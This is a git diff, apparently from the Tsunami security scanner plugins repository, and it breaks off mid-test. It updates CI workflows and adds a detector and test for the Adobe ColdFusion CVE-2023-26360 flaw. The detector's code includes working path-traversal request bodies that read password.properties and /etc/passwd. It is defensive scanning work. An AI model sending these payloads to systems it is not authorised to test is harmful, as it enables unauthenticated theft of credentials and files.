diff --git a/.github/workflows/community-build.yml b/.github/workflows/community-build.yml index b4e0c9d8e..83bbf598a 100644 --- a/.github/workflows/community-build.yml +++ b/.github/workflows/community-build.yml @@ -7,13 +7,14 @@ on: pull_request: paths: - 'community/**' + workflow_dispatch: jobs: build: strategy: matrix: os: [ ubuntu-latest, macos-latest ] - java: [ 11 ] + java: [ 21 ] runs-on: ${{ matrix.os }} name: 'Build Community plugins on ${{ matrix.os }} using Java ${{ matrix.java }}' steps: @@ -24,7 +25,7 @@ jobs: with: java-version: ${{ matrix.java }} - name: 'Cache Gradle resources' - uses: actions/cache@v2 + uses: actions/cache@v4 with: path: ~/.gradle/caches key: ${{ runner.os }}-gradle-${{ hashFiles('**/*.gradle') }} diff --git a/.github/workflows/doyensec-build.yml b/.github/workflows/doyensec-build.yml index 37675ee50..46a51d96c 100644 --- a/.github/workflows/doyensec-build.yml +++ b/.github/workflows/doyensec-build.yml @@ -7,13 +7,14 @@ on: pull_request: paths: - 'doyensec/**' + workflow_dispatch: jobs: build: strategy: matrix: os: [ ubuntu-latest, macos-latest ] - java: [ 11 ] + java: [ 21 ] runs-on: ${{ matrix.os }} name: 'Build doyensec plugins on ${{ matrix.os }} using Java ${{ matrix.java }}' steps: @@ -24,7 +25,7 @@ jobs: with: java-version: ${{ matrix.java }} - name: 'Cache Gradle resources' - uses: actions/cache@v2 + uses: actions/cache@v4 with: path: ~/.gradle/caches key: ${{ runner.os }}-gradle-${{ hashFiles('**/*.gradle') }} diff --git a/.github/workflows/examples-build.yml b/.github/workflows/examples-build.yml index f3b9c27c7..12f3c4a9c 100644 --- a/.github/workflows/examples-build.yml +++ b/.github/workflows/examples-build.yml @@ -7,13 +7,14 @@ on: pull_request: paths: - 'examples/**' + workflow_dispatch: jobs: build: strategy: matrix: os: [ ubuntu-latest, macos-latest ] - java: [ 11 ] + java: [ 21 ] runs-on: ${{ matrix.os }} name: 'Build example plugins on ${{ matrix.os }} using Java ${{ matrix.java }}' steps: @@ -24,7 +25,7 @@ jobs: with: java-version: ${{ matrix.java }} - name: 'Cache Gradle resources' - uses: actions/cache@v2 + uses: actions/cache@v4 with: path: ~/.gradle/caches key: ${{ runner.os }}-gradle-${{ hashFiles('**/*.gradle') }} diff --git a/.github/workflows/google-build.yml b/.github/workflows/google-build.yml index d7a3f1685..755bb8003 100644 --- a/.github/workflows/google-build.yml +++ b/.github/workflows/google-build.yml @@ -7,13 +7,14 @@ on: pull_request: paths: - 'google/**' + workflow_dispatch: jobs: build: strategy: matrix: os: [ ubuntu-latest, macos-latest ] - java: [ 11 ] + java: [ 21 ] runs-on: ${{ matrix.os }} name: 'Build Google plugins on ${{ matrix.os }} using Java ${{ matrix.java }}' steps: @@ -24,7 +25,7 @@ jobs: with: java-version: ${{ matrix.java }} - name: 'Cache Gradle resources' - uses: actions/cache@v2 + uses: actions/cache@v4 with: path: ~/.gradle/caches key: ${{ runner.os }}-gradle-${{ hashFiles('**/*.gradle') }} diff --git a/.github/workflows/govtech-build.yml b/.github/workflows/govtech-build.yml index a6cc17452..c46101742 100644 --- a/.github/workflows/govtech-build.yml +++ b/.github/workflows/govtech-build.yml @@ -7,13 +7,14 @@ on: pull_request: paths: - 'govtech/**' + workflow_dispatch: jobs: build: strategy: matrix: os: [ ubuntu-latest, macos-latest ] - java: [ 11 ] + java: [ 21 ] runs-on: ${{ matrix.os }} name: 'Build GovTech plugins on ${{ matrix.os }} using Java ${{ matrix.java }}' steps: @@ -24,7 +25,7 @@ jobs: with: java-version: ${{ matrix.java }} - name: 'Cache Gradle resources' - uses: actions/cache@v2 + uses: actions/cache@v4 with: path: ~/.gradle/caches key: ${{ runner.os }}-gradle-${{ hashFiles('**/*.gradle') }} diff --git a/.github/workflows/templated-build.yml b/.github/workflows/templated-build.yml new file mode 100644 index 000000000..6275d7760 --- /dev/null +++ b/.github/workflows/templated-build.yml @@ -0,0 +1,40 @@ +name: templated-plugins-build + +on: + push: + paths: + - 'templated/**' + pull_request: + paths: + - 'templated/**' + workflow_dispatch: + +jobs: + build: + strategy: + matrix: + os: [ ubuntu-latest, macos-latest ] + java: [ 21 ] + runs-on: ${{ matrix.os }} + name: 'Build plugins on ${{ matrix.os }} using Java ${{ matrix.java }}' + steps: + - name: 'Check out repository' + uses: actions/checkout@v2 + - name: 'Set up JDK ${{ matrix.java }}' + uses: actions/setup-java@v1 + with: + java-version: ${{ matrix.java }} + - name: 'Ensure protoc is installed' + uses: arduino/setup-protoc@v3 + with: + version: "25.5" + repo-token: ${{ secrets.GITHUB_TOKEN }} + - name: 'Cache Gradle resources' + uses: actions/cache@v4 + with: + path: ~/.gradle/caches + key: ${{ runner.os }}-gradle-${{ hashFiles('**/*.gradle') }} + restore-keys: ${{ runner.os }}-gradle + - name: 'Build plugins' + run: ./gradlew build + working-directory: templated/templateddetector/ diff --git a/.github/workflows/templated-lint.yml b/.github/workflows/templated-lint.yml new file mode 100644 index 000000000..d3d8dd7ac --- /dev/null +++ b/.github/workflows/templated-lint.yml @@ -0,0 +1,25 @@ +# Ensures templated plugins are linted correctly. +name: templated-plugins-linter + +on: + push: + paths: + - 'templated/**' + pull_request: + paths: + - 'templated/**' + workflow_dispatch: + +jobs: + build: + runs-on: ubuntu-latest + name: 'Verify templated plugins' + steps: + - uses: actions/checkout@v2 + - uses: actions/setup-go@v5 + with: + go-version: 1.22 + - run: go install github.com/google/tsunami-security-scanner-plugins/templated/utils/linter@latest + - run: | + find templated/templateddetector/ -type f \( -name '*.textproto' -a ! -name '*_test.textproto' -a ! -path '*/plugins/examples/*' \) \ + | xargs -I{} linter {} diff --git a/community/detectors/adobe_coldfusion_cve_2023_26360/README.md b/community/detectors/adobe_coldfusion_cve_2023_26360/README.md new file mode 100644 index 000000000..bf993ab6b --- /dev/null +++ b/community/detectors/adobe_coldfusion_cve_2023_26360/README.md @@ -0,0 +1,20 @@ +# CVE-2023-26360 Detector + +Description: Adobe ColdFusion versions 2018 Update 15 (and earlier) and 2021 +Update 5 (and earlier) are affected by an Improper Access Control vulnerability +that could result in unauthenticated file read and arbitrary code execution in +the context of the current user. Exploitation of this issue does not require +user interaction. + +- https://nvd.nist.gov/vuln/detail/CVE-2023-26360 +- https://helpx.adobe.com/security/products/coldfusion/apsb23-25.html + +## Build jar file for this plugin + +Using `gradlew`: + +```shell +./gradlew jar +``` + +Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/community/detectors/mlflow_cve_2023_6977/build.gradle b/community/detectors/adobe_coldfusion_cve_2023_26360/build.gradle similarity index 91% rename from community/detectors/mlflow_cve_2023_6977/build.gradle rename to community/detectors/adobe_coldfusion_cve_2023_26360/build.gradle index acace65c6..0fdc85680 100644 --- a/community/detectors/mlflow_cve_2023_6977/build.gradle +++ b/community/detectors/adobe_coldfusion_cve_2023_26360/build.gradle @@ -2,9 +2,9 @@ plugins { id 'java-library' } -description = 'Tsunami MLflow LFI/RFI (CVE-2023-6977) VulnDetector plugin.' +description = 'Tsunami CVE-2023-26360 VulnDetector plugin.' group 'com.google.tsunami' -version '0.0.2-SNAPSHOT' +version '0.0.1-SNAPSHOT' repositories { @@ -41,6 +41,7 @@ java { showExceptions true showCauses true showStackTraces true + showStandardStreams true //ADDED } maxHeapSize = '1500m' } @@ -58,7 +59,6 @@ dependencies { implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}" implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}" implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}" - implementation 'com.google.googlejavaformat:google-java-format:1.13.0' testImplementation "junit:junit:${junitVersion}" testImplementation "org.mockito:mockito-core:${mockitoVersion}" diff --git a/community/detectors/adobe_coldfusion_cve_2023_26360/gradle/wrapper/gradle-wrapper.jar b/community/detectors/adobe_coldfusion_cve_2023_26360/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 000000000..1b33c55ba Binary files /dev/null and b/community/detectors/adobe_coldfusion_cve_2023_26360/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/apache_spark_exposed_webui/gradle/wrapper/gradle-wrapper.properties b/community/detectors/adobe_coldfusion_cve_2023_26360/gradle/wrapper/gradle-wrapper.properties similarity index 94% rename from community/detectors/apache_spark_exposed_webui/gradle/wrapper/gradle-wrapper.properties rename to community/detectors/adobe_coldfusion_cve_2023_26360/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/apache_spark_exposed_webui/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/adobe_coldfusion_cve_2023_26360/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/rce/cve20246387/gradlew b/community/detectors/adobe_coldfusion_cve_2023_26360/gradlew similarity index 96% rename from google/detectors/rce/cve20246387/gradlew rename to community/detectors/adobe_coldfusion_cve_2023_26360/gradlew index f5feea6d6..23d15a936 100755 --- a/google/detectors/rce/cve20246387/gradlew +++ b/community/detectors/adobe_coldfusion_cve_2023_26360/gradlew @@ -86,8 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s -' "$PWD" ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -115,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -206,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -214,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/rce/cve20246387/gradlew.bat b/community/detectors/adobe_coldfusion_cve_2023_26360/gradlew.bat similarity index 94% rename from google/detectors/rce/cve20246387/gradlew.bat rename to community/detectors/adobe_coldfusion_cve_2023_26360/gradlew.bat index 9d21a2183..db3a6ac20 100644 --- a/google/detectors/rce/cve20246387/gradlew.bat +++ b/community/detectors/adobe_coldfusion_cve_2023_26360/gradlew.bat @@ -70,11 +70,11 @@ goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/adobe_coldfusion_cve_2023_26360/settings.gradle b/community/detectors/adobe_coldfusion_cve_2023_26360/settings.gradle new file mode 100644 index 000000000..357f2d498 --- /dev/null +++ b/community/detectors/adobe_coldfusion_cve_2023_26360/settings.gradle @@ -0,0 +1 @@ +rootProject.name = 'CVE-2023-26360' \ No newline at end of file diff --git a/community/detectors/adobe_coldfusion_cve_2023_26360/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202326360/Cve202326360Detector.java b/community/detectors/adobe_coldfusion_cve_2023_26360/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202326360/Cve202326360Detector.java new file mode 100644 index 000000000..6a9ebe3a5 --- /dev/null +++ b/community/detectors/adobe_coldfusion_cve_2023_26360/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202326360/Cve202326360Detector.java @@ -0,0 +1,164 @@ +/* + * Copyright 2023 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202326360; + +import static com.google.common.base.Preconditions.checkNotNull; +import static com.google.common.collect.ImmutableList.toImmutableList; +import static com.google.common.net.HttpHeaders.CONTENT_TYPE; +import static com.google.tsunami.common.data.NetworkServiceUtils.buildWebApplicationRootUrl; +import static com.google.tsunami.common.net.http.HttpRequest.post; + +import com.google.common.collect.ImmutableList; +import com.google.common.flogger.GoogleLogger; +import com.google.protobuf.ByteString; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.data.NetworkServiceUtils; +import com.google.tsunami.common.net.http.HttpClient; +import com.google.tsunami.common.net.http.HttpHeaders; +import com.google.tsunami.common.net.http.HttpResponse; +import com.google.tsunami.common.time.UtcClock; +import com.google.tsunami.plugin.PluginType; +import com.google.tsunami.plugin.VulnDetector; +import com.google.tsunami.plugin.annotations.PluginInfo; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.time.Clock; +import java.time.Instant; +import java.util.regex.Pattern; +import javax.inject.Inject; + +/** A {@link VulnDetector} that detects the CVE-2023-26360. */ +@PluginInfo( + type = PluginType.VULN_DETECTION, + name = "Cve202326360VulnDetector", + version = "1.0", + description = "This detector checks for Adobe ColdFusion CVE-2023-26360 vulnerability", + author = "jimmy-ly00", + bootstrapModule = Cve202326360DetectorBootstrapModule.class) +public final class Cve202326360Detector implements VulnDetector { + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); + private static final ImmutableList VULNERABLE_REQUEST_PATHS = + ImmutableList.of( + "cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx", + "CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx"); + + /** Windows */ + private static final String VULNERABLE_REQUEST_BODY_WINDOWS = + "_variables={\"_metadata\":{\"classname\":\"i/../lib/password.properties\"},\"_variables\":[]}"; + + /** Linux */ + private static final String VULNERABLE_REQUEST_BODY_LINUX = + "_variables={\"_metadata\":{\"classname\":\"../../../../../../../../etc/passwd\"}}"; + + private static final ImmutableList VULNERABLE_REQUEST_BODY_ALL = + ImmutableList.of(VULNERABLE_REQUEST_BODY_WINDOWS, VULNERABLE_REQUEST_BODY_LINUX); + + private static final Pattern VULNERABLE_RESPONSE_PATTERN = + Pattern.compile("password=|root:[x*]:0:0:"); + + private final HttpClient httpClient; + private final Clock utcClock; + + @Inject + Cve202326360Detector(@UtcClock Clock utcClock, HttpClient httpClient) { + this.httpClient = checkNotNull(httpClient); + this.utcClock = checkNotNull(utcClock); + } + + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2023_26360")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2023-26360")) + .setSeverity(Severity.CRITICAL) + .setTitle("Adobe ColdFusion Unauthenticated Arbitrary Read and Remote Code Execution") + .setDescription( + "Adobe ColdFusion versions 2018 Update 15 (and earlier) and 2021 Update 5 (and" + + " earlier) are affected by an Improper Access Control vulnerability that" + + " could result in unauthenticated file read and arbitrary code execution" + + " in the context of the current user. Exploitation of this issue does not" + + " require user interaction.") + .setRecommendation( + "For Adobe ColdFusion 2018, ugrade to version Update 16 or higher" + + "For Adobe ColdFusion 2021, upgrade to version Update 6 or higher") + .build()); + } + + @Override + public DetectionReportList detect( + TargetInfo targetInfo, ImmutableList matchedServices) { + logger.atInfo().log("CVE-2023-26360 starts detecting."); + + return DetectionReportList.newBuilder() + .addAllDetectionReports( + matchedServices.stream() + .filter(NetworkServiceUtils::isWebService) + .filter(this::isServiceVulnerable) + .map(networkService -> buildDetectionReport(targetInfo, networkService)) + .collect(toImmutableList())) + .build(); + } + + private boolean isServiceVulnerable(NetworkService networkService) { + for (String path : VULNERABLE_REQUEST_PATHS) { + for (String payload : VULNERABLE_REQUEST_BODY_ALL) { + String targetUrl = buildWebApplicationRootUrl(networkService) + path; + try { + HttpResponse response = + httpClient.send( + post(targetUrl) + .setHeaders( + HttpHeaders.builder() + .addHeader(CONTENT_TYPE, "application/x-www-form-urlencoded") + .build()) + .setRequestBody(ByteString.copyFromUtf8(payload)) + .build(), + networkService); + if (response.bodyString().isPresent()) { + if (VULNERABLE_RESPONSE_PATTERN.matcher(response.bodyString().get()).find()) { + return true; + } + } + } catch (Exception e) { + logger.atWarning().withCause(e).log("Failed request to target %s.", networkService); + } + } + } + return false; + } + + private DetectionReport buildDetectionReport( + TargetInfo targetInfo, NetworkService vulnerableNetworkService) { + return DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(vulnerableNetworkService) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability(this.getAdvisories().get(0)) + .build(); + } +} diff --git a/google/detectors/exposedui/nodered/src/main/java/com/google/tsunami/plugins/detectors/exposedui/nodered/NodeRedExposedUiDetectorBootstrapModule.java b/community/detectors/adobe_coldfusion_cve_2023_26360/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202326360/Cve202326360DetectorBootstrapModule.java similarity index 71% rename from google/detectors/exposedui/nodered/src/main/java/com/google/tsunami/plugins/detectors/exposedui/nodered/NodeRedExposedUiDetectorBootstrapModule.java rename to community/detectors/adobe_coldfusion_cve_2023_26360/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202326360/Cve202326360DetectorBootstrapModule.java index 98babf6bc..9e49e74af 100644 --- a/google/detectors/exposedui/nodered/src/main/java/com/google/tsunami/plugins/detectors/exposedui/nodered/NodeRedExposedUiDetectorBootstrapModule.java +++ b/community/detectors/adobe_coldfusion_cve_2023_26360/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202326360/Cve202326360DetectorBootstrapModule.java @@ -13,15 +13,15 @@ * See the License for the specific language governing permissions and * limitations under the License. */ -package com.google.tsunami.plugins.detectors.exposedui.nodered; +package com.google.tsunami.plugins.detectors.cves.cve202326360; import com.google.tsunami.plugin.PluginBootstrapModule; -/** A {@link PluginBootstrapModule} for {@link NodeRedExposedUiDetector}. */ -public final class NodeRedExposedUiDetectorBootstrapModule extends PluginBootstrapModule { +/** A CVE-2024-23897 Guice module that bootstraps the {@link Cve202326360Detector}. */ +public final class Cve202326360DetectorBootstrapModule extends PluginBootstrapModule { @Override protected void configurePlugin() { - registerPlugin(NodeRedExposedUiDetector.class); + registerPlugin(Cve202326360Detector.class); } } diff --git a/community/detectors/adobe_coldfusion_cve_2023_26360/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202326360/Cve202326360DetectorTest.java b/community/detectors/adobe_coldfusion_cve_2023_26360/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202326360/Cve202326360DetectorTest.java new file mode 100644 index 000000000..f6f8a6c47 --- /dev/null +++ b/community/detectors/adobe_coldfusion_cve_2023_26360/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202326360/Cve202326360DetectorTest.java @@ -0,0 +1,125 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202326360; + +import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; + +import com.google.common.collect.ImmutableList; +import com.google.inject.Guice; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.net.http.HttpClientModule; +import com.google.tsunami.common.time.testing.FakeUtcClock; +import com.google.tsunami.common.time.testing.FakeUtcClockModule; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.Software; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.TransportProtocol; +import java.io.IOException; +import java.time.Instant; +import javax.inject.Inject; +import okhttp3.mockwebserver.MockResponse; +import okhttp3.mockwebserver.MockWebServer; +import org.junit.After; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** Unit tests for {@link Cve202326360Detector}. */ +@RunWith(JUnit4.class) +public final class Cve202326360DetectorTest { + + private final FakeUtcClock fakeUtcClock = + FakeUtcClock.create().setNow(Instant.parse("2024-01-01T00:00:00.00Z")); + + @Inject private Cve202326360Detector detector; + + private final MockWebServer mockWebServer = new MockWebServer(); + private NetworkService service; + private TargetInfo targetInfo; + + @Before + public void setUp() throws IOException { + mockWebServer.start(); + Guice.createInjector( + new FakeUtcClockModule(fakeUtcClock), + new HttpClientModule.Builder().build(), + new Cve202326360DetectorBootstrapModule()) + .injectMembers(this); + + service = + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .setTransportProtocol(TransportProtocol.TCP) + .setSoftware(Software.newBuilder().setName("Adobe ColdFusion")) + .setServiceName("http") + .build(); + + targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .build(); + } + + @After + public void tearDown() throws IOException { + mockWebServer.shutdown(); + } + + @Test + public void detect_whenVulnerable_returnsDetection() { + MockResponse response = + new MockResponse() + .setBody( + "
" + + "root:x:0:0:root:/root:/bin/bash" + + "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin" + + "bin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologin" + + "sync:x:4:65534:sync:/bin:/bin/sync"); + mockWebServer.enqueue(response); + + DetectionReport actual = + detector.detect(targetInfo, ImmutableList.of(service)).getDetectionReports(0); + + DetectionReport expected = + DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(service) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability(detector.getAdvisories().get(0)) + .build(); + + assertThat(actual).isEqualTo(expected); + } + + @Test + public void detect_whenNotVulnerable_returnsNoVulnerability() { + MockResponse response = new MockResponse().setBody("x"); + mockWebServer.enqueue(response); + mockWebServer.enqueue(response); + mockWebServer.enqueue(response); + mockWebServer.enqueue(response); + DetectionReportList findings = detector.detect(targetInfo, ImmutableList.of(service)); + assertThat(findings.getDetectionReportsList()).isEmpty(); + } +} diff --git a/community/detectors/adselfservice_plus_cve_2021_40539/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202140539/Cve202140539VulnDetector.java b/community/detectors/adselfservice_plus_cve_2021_40539/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202140539/Cve202140539VulnDetector.java index 443b7a27c..a8e35dc4c 100644 --- a/community/detectors/adselfservice_plus_cve_2021_40539/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202140539/Cve202140539VulnDetector.java +++ b/community/detectors/adselfservice_plus_cve_2021_40539/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202140539/Cve202140539VulnDetector.java @@ -81,6 +81,34 @@ public final class Cve202140539VulnDetector implements VulnDetector { this.utcClock = checkNotNull(utcClock); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2021_40539")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2021-40539")) + .setSeverity(Severity.CRITICAL) + .setTitle("CVE-2021-40539 ADSelfService Plus REST API Authentication Bypass (RCE)") + .setRecommendation( + "1. Disconnect the affected system from your network.\n2. Back up the " + + "ADSelfService Plus database using these steps.\n3. Format the " + + "compromised machine. \n4. Download and install ADSelfService Plus. \n" + + "5. Restore the backup and start the server.\n6. Once the server is up " + + "and running, update ADSelfService Plus to the latest build, 6114, using" + + " the service pack.\n7. Check for unauthorized access or use of accounts." + + " Also, check for any evidences of lateral movement from the compromised" + + " machine to other machines. If there are any indications of compromised" + + " Active Directory accounts, initiate password reset for those accounts.") + .setDescription( + "Zoho ManageEngine ADSelfService Plus version 6113 and prior is vulnerable to REST" + + " API authentication bypass with resultant remote code execution.") + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -127,25 +155,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2021_40539")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2021-40539 ADSelfService Plus REST API Authentication Bypass (RCE)") - .setRecommendation( - "1. Disconnect the affected system from your network.\n2. Back up the " - + "ADSelfService Plus database using these steps.\n3. Format the " - + "compromised machine. \n4. Download and install ADSelfService Plus. \n" - + "5. Restore the backup and start the server.\n6. Once the server is up " - + "and running, update ADSelfService Plus to the latest build, 6114, using" - + " the service pack.\n7. Check for unauthorized access or use of accounts." - + " Also, check for any evidences of lateral movement from the compromised" - + " machine to other machines. If there are any indications of compromised" - + " Active Directory accounts, initiate password reset for those accounts.") - .setDescription(VULN_DESCRIPTION)) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/community/detectors/adselfservice_plus_cve_2021_40539/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202140539/Cve202140539VulnDetectorTest.java b/community/detectors/adselfservice_plus_cve_2021_40539/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202140539/Cve202140539VulnDetectorTest.java index af8205d40..8e2845e60 100644 --- a/community/detectors/adselfservice_plus_cve_2021_40539/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202140539/Cve202140539VulnDetectorTest.java +++ b/community/detectors/adselfservice_plus_cve_2021_40539/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202140539/Cve202140539VulnDetectorTest.java @@ -30,12 +30,9 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -99,29 +96,7 @@ public void detect_whenVulnerable_returnsVulnerability() throws IOException { .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2021_40539")) - .setSeverity(Severity.CRITICAL) - .setTitle( - "CVE-2021-40539 ADSelfService Plus REST API Authentication Bypass " - + "(RCE)") - .setRecommendation( - "1. Disconnect the affected system from your network.\n2. Back up the " - + "ADSelfService Plus database using these steps.\n3. Format the " - + "compromised machine. \n4. Download and install ADSelfService " - + "Plus. \n5. Restore the backup and start the server.\n6. Once the" - + " server is up and running, update ADSelfService Plus to the " - + "latest build, 6114, using the service pack.\n7. Check for " - + "unauthorized access or use of accounts. Also, check for any " - + "evidences of lateral movement from the compromised machine to " - + "other machines. If there are any indications of compromised " - + "Active Directory accounts, initiate password reset for those " - + "accounts.") - .setDescription(Cve202140539VulnDetector.VULN_DESCRIPTION)) + 